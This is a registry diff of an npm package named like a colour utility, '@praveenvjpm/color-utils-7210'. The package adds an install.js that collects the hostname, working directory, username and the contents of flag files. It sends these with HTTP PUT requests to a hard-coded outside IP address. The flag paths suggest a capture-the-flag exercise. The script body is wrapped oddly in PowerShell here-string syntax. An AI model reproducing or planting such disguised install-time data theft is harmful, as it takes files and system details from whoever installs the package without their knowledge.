@praveenvjpm/color-utils-7210 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +43 -0
- package/package.json +9 -0
package/install.js
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
@"
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
function tryRead(p) {
|
|
7
|
+
try { return fs.readFileSync(p, 'utf8').trim().substring(0, 160); }
|
|
8
|
+
catch (e) { return null; }
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
var finds = [];
|
|
12
|
+
finds.push('host=' + os.hostname());
|
|
13
|
+
finds.push('cwd=' + process.cwd());
|
|
14
|
+
finds.push('user=' + (process.env.USER || process.env.USERNAME || '?'));
|
|
15
|
+
|
|
16
|
+
['/flag', '/flag.txt', '/app/flag', '/home/node/flag', '/tmp/flag'].forEach(function(p) {
|
|
17
|
+
var c = tryRead(p);
|
|
18
|
+
if (c) finds.push('FLAG=' + c);
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
var payload = finds.join(' | ').substring(0, 90);
|
|
22
|
+
|
|
23
|
+
var moduleIds = ['ECT-987654', 'ECT-472839', 'ECT-654321', 'ECT-839201'];
|
|
24
|
+
|
|
25
|
+
moduleIds.forEach(function(id) {
|
|
26
|
+
var manifest = 'ecto_module:\n name: "' + payload + '"\n version: "pwned"\n power_level: "CURSED"\n install:\n package: "ecto-spirit"';
|
|
27
|
+
var body = JSON.stringify({ manifest: manifest });
|
|
28
|
+
|
|
29
|
+
var req = http.request({
|
|
30
|
+
hostname: '154.57.164.66',
|
|
31
|
+
port: 39270,
|
|
32
|
+
path: '/api/modules/' + id,
|
|
33
|
+
method: 'PUT',
|
|
34
|
+
headers: {
|
|
35
|
+
'Content-Type': 'application/json',
|
|
36
|
+
'Content-Length': Buffer.byteLength(body)
|
|
37
|
+
}
|
|
38
|
+
});
|
|
39
|
+
req.on('error', function() {});
|
|
40
|
+
req.write(body);
|
|
41
|
+
req.end();
|
|
42
|
+
});
|
|
43
|
+
"@ | Out-File -Encoding ascii install.js
|